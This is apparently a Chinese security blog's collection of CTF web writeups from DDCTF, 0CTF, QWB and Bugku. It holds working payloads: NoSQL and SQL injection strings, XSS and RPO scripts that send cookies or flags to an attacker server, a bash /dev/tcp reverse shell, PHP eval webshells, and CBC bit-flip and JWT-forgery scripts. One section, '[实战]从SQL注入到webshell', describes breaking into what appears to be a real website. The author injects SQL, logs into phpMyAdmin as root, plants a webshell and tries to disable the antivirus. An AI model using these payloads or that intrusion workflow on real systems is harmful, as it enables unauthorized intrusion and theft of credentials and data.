2018 DDCTF Web 部分writeup

前言

  滴滴的web题感觉质量还是挺高的,因为每一道题自己做得都比较吃力(菜鸟自白)。。。但更重要的是自己也从每道题中学习到了新知识,这种感觉甚至胜过拿到flag的喜悦…..

2018 TCTF-0CTF 部分Web writeup

LoginMe

  这道题的writeup啃了一段时间,需要先入的概念是:

  • 1、这道题是利用正则进行注入
  • 2、由于req.body的存在不一定要存在username和password参数

  下面是作者的调试代码,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
app.post('/check', function (req, res) {
var check_function = 'if(this.username == #username# && #username# == "admin" && hex_md5(#password#) == this.'+password_column+'){\nreturn 1;\n}else{\nreturn 0;}';

console.log('=============================\n');
for(var k in req.body){
var valid = ['#','(',')'].every((x)=>{return req.body[k].indexOf(x) == -1});
if(!valid) res.send('Nope');
check_function = check_function.replace(
new RegExp('#'+k+'#','gm')
,JSON.stringify(req.body[k]))
// 输出每步的替换结果
console.log('正在替换:' + k + ' -----> ' + req.body[k]);
console.log(check_function);
}

console.log(check_function);
var query = {"$where" : check_function};
console.log(query);
console.log('================================\n');
var newvalue = {$set : {last_access: moment().format('YYYY-MM-DD HH:mm:ss Z')}}
dbo.collection(collection_name).updateOne(query,newvalue,function (e,r){
if(e) throw e;
res.send('ok');
// ... implementing, plz dont release this.
});
})

  这里用到了LoRexxar’s Blog中使用的基于时间盲注的方法,我们先看一下payload:

1
|#|=&|this.*"\)|=&|==|[]=%7C%7Ceval(&%7C%22%22+%5C%5B%22%7C=a&%7Ca%22%7C=%2B&%7C%22%2B%7C=&%7C%22%22%5C%5D%2b%7C=aaaa&%7Caaaa%22%7C=%2B&%7C%5C)%7B%7C%5B%5D=bbb).match(/^1.*/i)){sleep(4000);}else{return%20&|\["|=&|""b|=%2b&|"bb|=&|return(\s.*)*0|=11111

  首先我们先绕过正则,我们可以通过|xxx|来绕过左右两边的#。比如提交|#|,后台就变成#|#|#,然后正则就会去匹配#,然后把它替换,有了这一点这个payload就容易理解了。

  而在这个payload中我们只需要不断的修改match(/^1.*/i)进行匹配即可。我们先提交一下:




  可以看到明显延迟了4s,然后我们从控制台的输出信息里去理解这个payload的原理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
=============================
正在替换:|#| ----->
if(this.username == ""username"" && ""username"" == "admin" && hex_md5(""password"") == this.password_nnuty7q6zy){
return 1;
}else{
return 0;}
正在替换:|this.*"\)| ----->
if("" == this.password_nnuty7q6zy){
return 1;
}else{
return 0;}
正在替换:|==| -----> ||eval(
if("" ["||eval("] this.password_nnuty7q6zy){
return 1;
}else{
return 0;}
正在替换:|"" \["| -----> a
if("a"||eval("] this.password_nnuty7q6zy){
return 1;
}else{
return 0;}
正在替换:|a"| -----> +
if(""+"||eval("] this.password_nnuty7q6zy){
return 1;
}else{
return 0;}
正在替换:|"+| ----->
if(""+""||eval(""] this.password_nnuty7q6zy){
return 1;
}else{
return 0;}
正在替换:|""\]+| -----> aaaa
if(""+""||eval("aaaa" this.password_nnuty7q6zy){
return 1;
}else{
return 0;}
正在替换:|aaaa"| -----> +
if(""+""||eval(""+" this.password_nnuty7q6zy){
return 1;
}else{
return 0;}
正在替换:|\){| -----> bbb).match(/^12.*/i)){sleep(4000);}else{return
if(""+""||eval(""+" this.password_nnuty7q6zy["bbb).match(/^12.*/i)){sleep(4000);}else{return "]
return 1;
}else{
return 0;}
正在替换:|\["| ----->
if(""+""||eval(""+" this.password_nnuty7q6zy""bbb).match(/^12.*/i)){sleep(4000);}else{return "]
return 1;
}else{
return 0;}
正在替换:|""b| -----> +
if(""+""||eval(""+" this.password_nnuty7q6zy"+"bb).match(/^12.*/i)){sleep(4000);}else{return "]
return 1;
}else{
return 0;}
正在替换:|"bb| ----->
if(""+""||eval(""+" this.password_nnuty7q6zy"+"").match(/^12.*/i)){sleep(4000);}else{return "]
return 1;
}else{
return 0;}
正在替换:|return(\s.*)*0| -----> 11111

if(""+""||eval(""+" this.password_nnuty7q6zy"+"").match(/^12.*/i)){sleep(4000);}else{"11111\r\n";}
{ '$where': 'if(""+""||eval(""+" this.password_nnuty7q6zy"+"").match(/^12.*/i)){sleep(4000);}else{"11111\\r\\n";}' }
================================

  有了上面的说明,再加上调试信息,我们就很容易理解这个payload了。

Bl0g

  这道题跟强网杯的Share your mind有点相似,它是考察RPO,这里是CSP,但是触发方法都是一样的,都是提交url后用xss bot激发。

  首先这个站点的功能如下:




  可以发现flag就在/flag下,但只有admin才能查看,非常明显的xss利用。




  所以粗略攻击链就出来了,我们在/new里插入恶意xss,然后在/submit中提交恶意的url,这个url的目的就是让bot访问/flag,然后传回flag。

  所以我们先找到一个xss,经过探测我们可以发现在/new下post请求里的effect参数没有做任何过滤。插入的效果如下:




  这里虽然你已经插入了script,但由于CSP的保护,你的内嵌script的不能执行了,所以就没有了弹窗。相应的CSP如下:
1
2
Content-Security-Policy:script-src 'self' 'unsafe-inline'
Content-Security-Policy:default-src 'none'; script-src 'nonce-oPxSn4qhUHs6fU+ftUe/xpPI8WM=' 'strict-dynamic'; style-src 'self'; img-src 'self' data:; media-src 'self'; font-src 'self' data:; connect-src 'self'; base-uri 'none'

  相关的script-src值及其含义如下:

1
2
3
4
'unsafe-inline':允许执行页面内嵌的<script>标签和事件监听函数
unsafe-eval:允许将字符串当作代码执行,比如使用eval、setTimeout、setInterval和Function等函数。
nonce值:每次HTTP回应给出一个授权token,页面内嵌脚本必须有这个token,才会执行
hash值:列出允许执行的脚本代码的Hash值,页面内嵌脚本的哈希值只有吻合的情况下,才能执行。

  注意到这里的script-src: 'self','nonce-oPxSn4qhUHs6fU+ftUe/xpPI8WM=',说明它只允许加载本站的script,而且script必须有一个token,就例如:




  满足上述条件的script才能被执行,而很明显,我们插入的script并没有token,所以也就无法执行了。

  然而题目还是有解的,我们查看下article.js

1
2
3
$(document).ready(function(){
$("body").append((effects[$("#effect").val()]));
});

  可以发现这里存在动态插入任意值的漏洞,所以,我们可以通过动态插入script标签来绕过CSP

  effects的定义可以在config.js中找到




  我们接下去的目的就是考虑能不能控制effects的值,下面引用了lorexxar师傅的原话:

在js中,对于特定的form,iframe,applet,embed,object,img标签,我们可以通过设置id或者name来使得通过id或name获取标签

  也就是说,我们可以通过effects获取到<form name=effects>这个标签。同理,我们就可以通过插入这个标签来注册effects这个变量。再看看这些js文件的导入顺序,我们发现config.js是第一个被导入的。




  所以我们传入:
1
id"><form name=effects id="<script>alert(1)</script>"><script>

  效果如下:






  可以看到payload最后一个script刚好把config.js给闭合了,并且由于CSP,闭合掉的script标签没有token并不能执行。再加上:
1
2
$("#effect").val() --> id
effects[id] --> <script>alert(1)</script>

  所以成功的执行了弹窗测试。

  接着就构造payload获取flag了,需要注意的一点是effect参数最长只有70个字符,所以我们无法直接在/new页面上获取到flag,这时候,我们在看/submit里可以提交一个url,而http://202.120.7.197:8090/login?next=//www.baidu.com是可以任意跳转的,所以我们可以让它跳转到自己的服务器上加载恶意代码,跟/new打一个里应外合

  首先我们构造出payload:

1
effect=id"><form name=effects id="<script>$.get('/flag',e=>name=e)"><script>

  这里通过jquery get获取flag内容,通过箭头函数将返回赋值给window.name。对于windos.name的说明可以参考:

window.name(一般在js代码里出现)的值不是一个普通的全局变量,而是当前窗口的名字,这里要注意的是每个iframe都有包裹它的window,而这个window是top window的子窗口,而它自然也有window.name的属性,window.name属性的神奇之处在于name 值在不同的页面(甚至不同域名)加载后依旧存在(如果没修改则值不会变化),并且可以支持非常长的 name 值(2MB)。

  然后我们在自己的服务器上放置如下html

1
2
3
4
5
<iframe src="http://202.120.7.197:8090/article/3788"></iframe>
<script>
setTimeout(()=>{frames[0].window.location.href='/'},1200)
setTimeout(()=>{location.href='http://ip:port/?'+frames[0].window.name},1500)
</script>

  然后在相应的端口上做好监听,之后在/submit提交你这个html文件的url地址。如:http://202.120.7.197:8090/login?next=//your_ip/evil.html

  最后就能发现flag已经打到你的服务器上了。




  参考链接:

    http://www.ruanyifeng.com/blog/2016/09/csp.html

    https://lorexxar.cn/2018/04/05/0ctf2018-blog/

    https://blog.cal1.cn/post/0CTF%202018%20Quals%20Bl0g%20writeup

  
  
  
  

2018 TCTF-0CTF ezDoor writeup

前言

  这次比赛真真感受到了差距,,,这场CTF就是大佬的竞赛场。。。。

2018强网杯Web部分writeup

Web

Web签到

  这道题考的是MD5绕过,一共有三关,前面两个直接使用数组绕过即可,如下:




  第三个则需要找到两个真正相同的MD5的值,代码如下:
1
2
3
if((string)$_POST['param1']!==(string)$_POST['param2'] && md5($_POST['param1'])===md5($_POST['param2'])){
die("success!");
}


  string将数组转换成'array'所以无法使用数组进行绕过。

  这里google了两个图片。






  我们使用python将文件读取出来并进行url编码
1
2
>>> import urllib
>>> urllib.quote(open("md5_1.jpg", "rb").read())


  然后提交即可。



  参考链接:

    Sha1碰撞

    md5相同的图片


## three hit
  这道题绕了好久,主要是思路被带偏了,实话就是自己太年轻。。。

  首先注册的时候会发现后台对usernameage都有过滤,age只允许数字。



  然后我们尝试一下16进制是否可以。我们将要注入的字符进行16进制编码一下。






  所以POC就已经出来了,而且还没有任何过滤,接着我们构造如下payload:
1
1 and ascii(substr((select flag from flag),1,1))>100


  然后逐一判断即可得到flag。这里需要注意的是我们要使用ascii作为判断条件而不要使用substr防止得到大小写不准确的flag。

### ——————————–后期复现分割线——————————–

## Python is the best language 1
  flask代码审计,在form.py的表单里只有PostForm是没有过滤的,其他表单中都存在过滤函数。



  而这个表单在/index下被引用。



  再看看Add()函数。



  现在可以确定注入点就在这里。我们试一下:
1
'|conv(hex(substr(user(),1,4)),16, 10)|'


  然后回显:



  说明确实存在注入,接着就是找表和字段,
1
2
3
'|conv(hex(substr((select table_name from information_schema.tables where table_schema=database()),1,4)),16,10)|'

'|conv(hex(substr((select column_name from information_schema.columns where table_name=0x666c616161616167 limit 0,1),1,4)),16,10)|'


  结果就是表名:flaaaaag,列名:flllllag。payload:
1
'|conv(hex(substr((select flllllag from flaaaaag),1,4)),16,10)|'


  最终flag:QWB{us1ng_val1dator_caut1ous}

## Share your mind
  这道题考察的是RPO(Relative Path Overwrite)相对路径覆盖利用,如何判断的呢:

1、路由问题






  可以看到,这里加了/aaaa它还是能正确找到这份文件,所以如果我们在这个页面中写了一些js代码,并且以js去运行解析它的话就会造成任意js代码执行。
2、页面的js文件采用相对地址引入




  注意前面的../

* 3、浏览器和服务器对%2f的定义不同

  服务器在接收到%2f的时候会把它转化成/,当作目录解析。如:
1
2
3
4
5
http://39.107.33.96:20000/index.php/view/article/1111/aaa/..%2f..%2f../
转化成:
http://39.107.33.96:20000/index.php/view/article/1111/aaa/../../../
最终:
http://39.107.33.96:20000/index.php/view/


  这里要注意的是浏览器在请求js、css文件时是以当前url的目录为基准的,然后在后面拼接js、css的地址,接着在请求该js、css。如:
1
2
3
4
5
6
7
http://39.107.33.96:20000/index.php/view/article/1111%27aaa
浏览器中的目录:
http://39.107.33.96:20000/index.php/view/article/
拼接js地址:
http://39.107.33.96:20000/index.php/view/article/../static/js/jquery.min.js
最终:
http://39.107.33.96:20000/index.php/view/static/js/jquery.min.js


  这是因为1111%27aaa被当作了一个文件,而不是你想的/1111/aaa1111是目录。

  我们首先插个弹窗,然后查看下raw






  然后我们构造如下payload:
1
http://39.107.33.96:20000/index.php/view/article/1111/aaa/..%2f..%2f../





  可以看到已经弹窗,我们再看一下网络请求。









  可以发现它把我们view raw中的代码作为js解析了。

  而经过测试,在report页面中是存在xss的。



  但这道题的点不在这,我们回到RPO的利用中来,因为过滤了<>,所以我们用eval(String.fromCharCode(xxx))来绕过,所以payload:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
s="""var i=document.createElement("iframe");
i.src="/";
i.id="a";
document.body.appendChild(i);
i.onload = function (){
var c=document.getElementById('a').contentWindow.document.cookie;
location.href="http://ip:8888?xx="+c;
}"""

print "eval(String.fromCharCode(",
for i in s:
print str(ord(i))+",",

print "))",


  我们把它插入到write article里,然后获取到它的url,如:



  服务器端启动监听:nc -tlp 8888

  然后提交攻击链接:
1
http://39.107.33.96:20000/index.php/view/article/1198/aaaaa/..%2f..%2f../


  接着就能在服务器上收到hint



  这里提示flag/QWB_fl4g/QWB/下的cookie中,所以我们将iframesrc=/QWB_fl4g/QWB/。代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
s="""var i=document.createElement("iframe");
i.src="/QWB_fl4g/QWB/";
i.id="a";
document.body.appendChild(i);
i.onload = function (){
var c=document.getElementById('a').contentWindow.document.cookie;
location.href="http://ip:8888?xx="+c;
}"""

print "eval(String.fromCharCode(",
for i in s:
print str(ord(i))+",",

print "))",


  跟上面同样的套路走起,最终获得flag:QWB{flag_is_f43kth4rpo}


  
  
  
  
  
  
  
  
  
  

[实战]从SQL注入到webshell

前言

  由于上篇实在是水了,,,所以就网上搜集了一番,然后就找到了一个。。。

  首先检查一下sql注入,然后在下载文件的地方发现了一处,而且还把网站的物理路径暴露出来了。




  接着就找了下验证的POC,发现它过滤了空格,因为当and 1=2的时候也返回了真。




  所以考虑使用/**/太代替空格,发现确实可行。
1
2
3
poc: 
?sid=1300/**/and/**/1=2
?sid=1300/**/and/**/1=1

  如图:






  所以接下来我就是用了sqlmap进行注入,只需要加上--tamper space2comment。经过好一番的查找,才拿到了数据库中的账号和密码。




  按照套路,我们就要找后台了。但这里并没有那么愉快,扫描了一下网站目录,却没有找到有价值的线索。只是暴露了几个目录遍历漏洞。






  而且从账号上暴露的phpmyadmin用户猜想到有phpmyadmin目录,但是也没有找到。




  然后就想使用XSS看看能不能找到管理员的后台地址,但结果是留言板确实是存在xss但却没有找到管理员的地址。




  带着cookie访问XSS打到的网址是报了个验证码错误,所以这条线也走不了了。

  后来经前辈提醒,可以直接使用http://ip/phpmyadmin的访问方式试试,那么首先检测一下有没有CDN。用多地ping检测了一下,发现应该是没有CDN,然后直接访问看看。




  最后使用root账号密码登陆进去了。由于物理路径已经知道了,那么后面的操作就简单了,直接使用mysql写一句话后门。
1
2
3
4
Create TABLE a (cmd text NOT NULL);
Insert INTO a (cmd) VALUES('<?php @eval($_POST[cmd])?>');
select cmd from a into outfile 'C:/暴露出来的根路径/out.php';
Drop TABLE IF EXISTS a;

  随便找个表执行下上面的sql语句即可。






  然后访问根目录下的out.php






  但是使用菜刀连接时却发现连接不上,估计是有WAF。而从phpinfo暴露出来的环境可以知道是内网,并且权限很高,所以心就更痒痒了。






  所以我们要采用迂回战术,,,我们看看能不能反弹shell。但是发现反弹回来立马被干掉了。。。




  看看目标的进程,发现是趋势杀软






  这里尝试将它的进程结束掉,但却没有用。由于明天强网杯,而且杀软也还想到法绕过,所以暂且放下,两天后再战。。。
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  

Bugku writeup4

web

login1(SKCTF)

  题目描述:




  这道题用的是sql约束攻击,利用的是数据库字段定义时产生的漏洞。如:
1
2
3
4
mysql> CREATE TABLE users (
-> username varchar(25),
-> password varchar(25)
-> );


  这里的username只允许25个字符,超过后就舍去25字符以后的,然后在mysql中,adminadmin [很多空格]在查询的时候是一样的。因为admin用户已经存在,但我们不知道他的密码,所以我们自己注册一个admin然后替换掉密码。所以我们可以注册一个admin[很多个空格]1的用户名,只要总字符数超过25,然后密码设成你的。注册成功后使用admin加你的密码去登陆即可得到flag。

### md5 collision(NUPT_CTF)
  这道题是MD5碰撞,PHP在进行比较运算时,如果遇到了0e\d+这种字符串,就会将这种字符串解析为科学计数法,然后0 == 字符串是成立的,从而绕过了MD5检查,这里记录一些MD5值:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020


### 文件包含2
  打开题目,在源代码中发现了upload.php



  访问后发现是文件上传,但是只支持图片文件,不够这里没关系,不用考虑怎么绕过,因为文件包含的时候会使用php解析:



  上传一句话






  但是访问后发现存在过滤,<?php被替换成_。如下图:



  但是我们可以使用<script language=php> </script>标签绕过这个验证,我们再上传一次:






  可以看到,后台已经成功的解析了我们的php代码。接着使用菜刀连接。






  最终我们能拿到flag:SKCTF{uP104D_1nclud3_426fh8_is_Fun}

### flag.php
  题目:



  打开页面后发现提交表单没有反应,然后想起题目提示,所以尝试一下get一个请求。然后可以找到源码:






  这里有些诱惑性的东西,它故意在最后放出了$key的值,然而当你拿着$KEY='ISecer:www.isecer.com';去序列化后提交会发现是不对的。



  其实这道题用得知识跟数字与字符串比较的绕过方式有点相似,首先$KEY的值是没有定义的,但是我们可以构造s:0:"";字符串,他反序列化的结果就是一个空的字符串,然后绕过他的比较。






  此时flag就出来了。

### sql注入2
  题目描述:






  这道题尝试了很多注入但都没有成功,后来经过看网上的writeup,才发现是.DS_Store泄露,然后网上找了个exp,运行后就能得到flag文件。






  flag就是:flag{sql_iNJEct_comMon3600!}

### 孙xx的博客
  题目描述:



  这里提示信息搜集,所以我们扫一扫目录:



  这里扫出了phpmyadmin的目录,然后再去网站上看看,然后就能发现数据库的用户名和密码。



  我们拿去登陆一下,就能发现flag。


报错注入

  题目描述:




  可以看到这里过滤了很多字符,包括空格,但由于mysql的特性,我们可以使用回车换行符还替代即%0a%0d

  因为要进行报错注入,所以我们可以使用extractvalue()或者updatexml()进行报错,尝试一条报错语句:
1
2
?id=1%0aand%0aextractvalue(1,concat(0x7e,(select%0a@@version),0x7e))
?id=1%0aand%0aupdatexml(1,concat(0x7e,(select%0a@@version),0x7e),1)





  可以看到已经成功报错,这里把%0a换成%0d也是可以的。要读取文件,mysql提供了load_file()函数,并且需要对文件名进行16进制编码。又因为extractvalue()有长度限制,最长为32位,所以我们需要使用substr()hex()过的文件内容进行分割,我们一次取30个就好。这里注意的是如果不对文件内容进行16进制编码就会出现无法读取的情况。
1
?id=1%0aand%0a(extractvalue(1,concat(0x7e,substr(hex(load_file(0x2f7661722f746573742f6b65795f312e706870)),1,30))),0x7e)


  最终我们能拿到一串16进制的字符,然后解密就可以得到flag:



  但这里最坑的就是双引号是中文的,所以直接复制题目给的flag形式,然后把双引号里的值粘贴进去就行了。

### login3(SKCTF)
  打开题目,发现过滤了很多字符,包括空格 , = and,所以这给我们注入带来极大的不便,但是or select >没有被过滤,我们先找到闭合字符。而且我们注意到,页面使用的是en编码,所以可以考虑宽字节注入。



  然后我们构造了验证poc:username=admin%df%27or'1'>'1&password=adminusername=admin%df%27or'2'>'1&password=admin






  可以看到当or返回真时它会检查password是否正确,而当or返回假时会报没有此用户的错误,所以,我们可以接着构造我们的payload。下面是我的payload:
1
username=admin%df%27or(select(password))>'0&password=admin


  我们只需要不断刷新>'后面的字符就能把密码给注入出来,这里值得注意的是最后一个值的确定,可以看到当最后一个字符为/时页面返回了真,而为0时则返回了假。






  因为我们使用的是>来进行判断的,所以最后的一个值一定会比真实值,也就是说我们最后一位应该取0才是正确的。所以最终md5值:51b7a76d51e70b419f60d3473fb6f900。解密出来就是:skctf123456。然后我们登陆一下就能获得flag。



  ps:本来这里是打算写脚本跑的,但因为判断条件在脚本里无法使用,在postman中也不能作为判别的依据,所以,这个方法只能在burpsuitezap上使用。


Trim的日记本

  打开页面后如下:




  然后随手注册了以一个账号,但发现不知道id无法登陆,所以就拿出了目录扫描器看看有什么发现。




  然后这里还真的有发现,我们访问一下show.php




  可以发现一个flag,拿去提交还真是真的flag。所以这道题就so easy了。。。

login2(SKCTF)

  这道题就是学习姿势了,自己做的时候没有找到思路,然后看了writeup才做出来。

  对请求抓包,然后可以发现tip,解密出来是几行代码。




1
2
3
$sql="SELECT username,password FROM admin WHERE username='".$username."'";
if (!empty($row) && $row['password']===md5($password)){
}

  这里可以看到它是分离式的验证,首先查询username的用户,然后拿出password再进行比较,一开始想着是注入出admin的密码,但发现可能没有这个用户,而且也找不到注入的poc。后来参考网上的writeup才知道正确的打开方式。payload:

1
username=' union select md5(1),md5(1)#&password=1

  执行这条语句时由于前面的username为空,所以没有数据返回,但后面的union select md5(1),md5(1)则会返回两个MD5(1)的值,然后password我们也置为1,从而绕过if语句的判断。

  接下来可以进入命令执行的页面。




  然后我们反弹回一个shell来方便我们操作。我们先在本地监听一下,这里使用nc。
1
nc -lvv 8888

  然后执行反弹shell的命令。

1
|bash -i >& /dev/tcp/你的公网ip/8888 0>&1

  最后就能在服务器上收到shell,然后查询flag。




  所以flag:SKCTF{Uni0n_@nd_c0mM4nD_exEc}

login4(CBC字节翻转攻击)

  这道题就纯属学习姿势了,首先是进行敏感目录扫描,然后发现.index.php.swp源码泄露。




1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
<?php
define("SECRET_KEY", file_get_contents('/root/key'));
define("METHOD", "aes-128-cbc");
session_start();

function get_random_iv(){
$random_iv='';
for($i=0;$i<16;$i++){
$random_iv.=chr(rand(1,255));
}
return $random_iv;
}

function login($info){
$iv = get_random_iv();
$plain = serialize($info);
$cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
$_SESSION['username'] = $info['username'];
setcookie("iv", base64_encode($iv));
setcookie("cipher", base64_encode($cipher));
}

function check_login(){
if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
$cipher = base64_decode($_COOKIE['cipher']);
$iv = base64_decode($_COOKIE["iv"]);
if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
$info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");
$_SESSION['username'] = $info['username'];
}else{
die("ERROR!");
}
}
}

function show_homepage(){
if ($_SESSION["username"]==='admin'){
echo '<p>Hello admin</p>';
echo '<p>Flag is $flag</p>';
}else{
echo '<p>hello '.$_SESSION['username'].'</p>';
echo '<p>Only admin can see flag</p>';
}
echo '<p><a href="loginout.php">Log out</a></p>';
}

if(isset($_POST['username']) && isset($_POST['password'])){
$username = (string)$_POST['username'];
$password = (string)$_POST['password'];
if($username === 'admin'){
exit('<p>admin are not allowed to login</p>');
}else{
$info = array('username'=>$username,'password'=>$password);
login($info);
show_homepage();
}
}else{
if(isset($_SESSION["username"])){
check_login();
show_homepage();
}else{
echo '<body class="login-body">
<div id="wrapper">
<div class="user-icon"></div>
<div class="pass-icon"></div>
<form name="login-form" class="login-form" action="" method="post">
<div class="header">
<h1>Login Form</h1>
<span>Fill out the form below to login to my super awesome imaginary control panel.</span>
</div>
<div class="content">
<input name="username" type="text" class="input username" value="Username" onfocus="this.value=\'\'" />
<input name="password" type="password" class="input password" value="Password" onfocus="this.value=\'\'" />
</div>
<div class="footer">
<input type="submit" name="submit" value="Login" class="button" />
</div>
</form>
</div>
</body>';
}
}
?>

  因为admin用户被禁止了登陆,但是可以利用反序列化漏洞重置$_SESSION['username']admin,然后拿到flag。

  首先介绍一下CBC字节翻转攻击,如果我们要想把第二行(段)中的2变成n,我们只需要修改第一行(段)的r

1
2
3
4
5
6
7
原文:
a:2:{s:8:"username";s:5:"admi2";s:8:"password";s:5:"skctf";}
按16个字符分割:
a:2:{s:8:"userna
me";s:5:"admi2";
s:8:"password";s
:5:"skctf";}




  修改方式就是:
1
2
bs_de = 'a:2:{s:8:"username";s:5:"admi2";s:8:"password";s:5:"skctf";}'
bs_de=bs_de[0:13]+chr(ord(bs_de[13]) ^ ord('2') ^ ord('n'))+bs_de[14:]

  我们把cookie中的cipher拿出来修改一下。

1
2
3
4
5
6
7
8
9
10
11
# -*- coding:utf-8 -*-

import base64

bs = 'e8SnC9p3aEmJciIN8NWYM1PcA/A7jSwsiTglqdBMLRLf/8LOHKmhOoHSOBbJB1xEnE6S6DpfgkD8NWlJETxDZQ=='
bs_de = base64.b64decode(bs)
ch = chr(ord(bs_de[13]) ^ ord('2') ^ ord('n'))

bs_de=bs_de[0:13]+ch+bs_de[14::]

print(base64.b64encode(bs_de))

  然后把得到的结果替换掉cipher,访问后可以发现反序列化出错了。




  这是因为在修改第二段明文的时候我们把第一段的密文破环掉了,造成后台无法解密出原来的数据。如下面这种情况。




  当将6修改成7的时候,造成了第一段密文解密出来的结果变成了乱码,所以我们还需要还原第一段的密文,所以我们要对iv这个初始向量进行修改。




  修改的方法还是跟上面一样的套路,只不过这里的cipher要变成上面提示反序列化错误的那个密文。因为这个反序列化错误的字符是第一次翻转后的明文




  所以,我们修改的代码如下:
1
2
3
4
5
6
7
8
9
10
11
import base64
mingwen_de='xvFs8hcryE3UwXuTa5b+7W1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjg6IlBhc3N3b3JkIjt9'
mingwen = base64.b64decode(mingwen_de)

iv = 'wJdHFG15Qc2hs1bkgMHd4w=='
iv_de = base64.b64decode(iv)
new = 'a:2:{s:8:"userna'
for i in range(16):
iv_de = iv_de[:i] + chr(ord(iv_de[i]) ^ ord(mingwen[i]) ^ ord(new[i])) + iv_de[i+1:]

print(base64.b64encode(iv_de))

  将得到的结果替换到iv上,然后刷新页面,就能看到flag了。




  参考链接:
CBC字节翻转攻击

CBC字节翻转攻击

JWT token破解绕过

前言

  这是印度举办的CTF中遇到的一道JWT破解绕过题,觉得还是挺有价值的,mark一下。

JWT伪造

  这是一道b00t2root的一道web题,觉得很有意思,并且结合了加密的知识,所以记录一下。

  首先了解下JWT:

JSON Web Token(JWT)是一个非常轻巧的规范。这个规范允许我们使用JWT在用户和服务器之间传递安全可靠的信息。JWT常被用于前后端分离,可以和Restful API配合使用,常用于构建身份认证机制。

  JWT的数据格式分为三个部分: headers , payloads,signature(签名),它们使用.点号分割。拿道题后看了一下cookie,发现是如下格式:




1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhZG1pbiI6ImZhbHNlIn0.oe4qhTxvJB8nNAsFWJc7_m3UylVZzO3FwhkYuESAyUM

  进行base64解密后发现:




  所以,我们的目的就是把false改成true,而且要通过服务器的验证,这点很重要,并不是直接把false改成true就万事大吉了。因为服务器收到token后会对token的有效性进行验证。

  验证方法:首先服务端会产生一个key,然后以这个key作为密钥,使用第一部分选择的加密方式(这里就是HS256),对第一部分和第二部分拼接的结果进行加密,然后把加密结果放到第三部分

1
服务器每次收到信息都会对它的前两部分进行加密,然后比对加密后的结果是否跟客户端传送过来的第三部分相同,如果相同则验证通过,否则失败。

  因为加密算法我们已经知道了,如果我们只要再得到加密的key,我们就能伪造数据,并且通过服务器的检查。

  这里我使用了这个工具进行破解:C语言版JWT破解工具,下载安装完毕后,直接进行破解,如图:




  所以,我的加密密钥就是:54l7y。然后我们去验证一下,这个网站可以提供验证服务:https://jwt.io/。当我们使用破解出来的key时,我们能完美还原出原始数据,这证明我们的key是正确的。




  最后我们把false改成true,然后使用key进行加密,可以得到如下:




  然后我们拿着这个token刷新一下:




  可以看到flag已经出来了。

参考链接

https://github.com/brendan-rius/c-jwt-cracker

https://auth0.com/blog/brute-forcing-hs256-is-possible-the-importance-of-using-strong-keys-to-sign-jwts/

https://jwt.io/

http://www.cnblogs.com/dliv3/p/7450057.html

Bugku writeup3

Web

INSERT INTO注入

  题目描述:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];
}

$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);

  可以看到,这是X-Forwarded-For的注入,而且过滤了逗号,。在过滤了逗号的情况下,我们就不能使用if语句了,在mysql中与if有相同功效的就是:

1
select case when xxx then xxx else xxx end;

  而且由于逗号,被过滤,我们就不能使用substr、substring了,但我们可以使用:from 1 for 1,所以最终我们的payload如下:

1
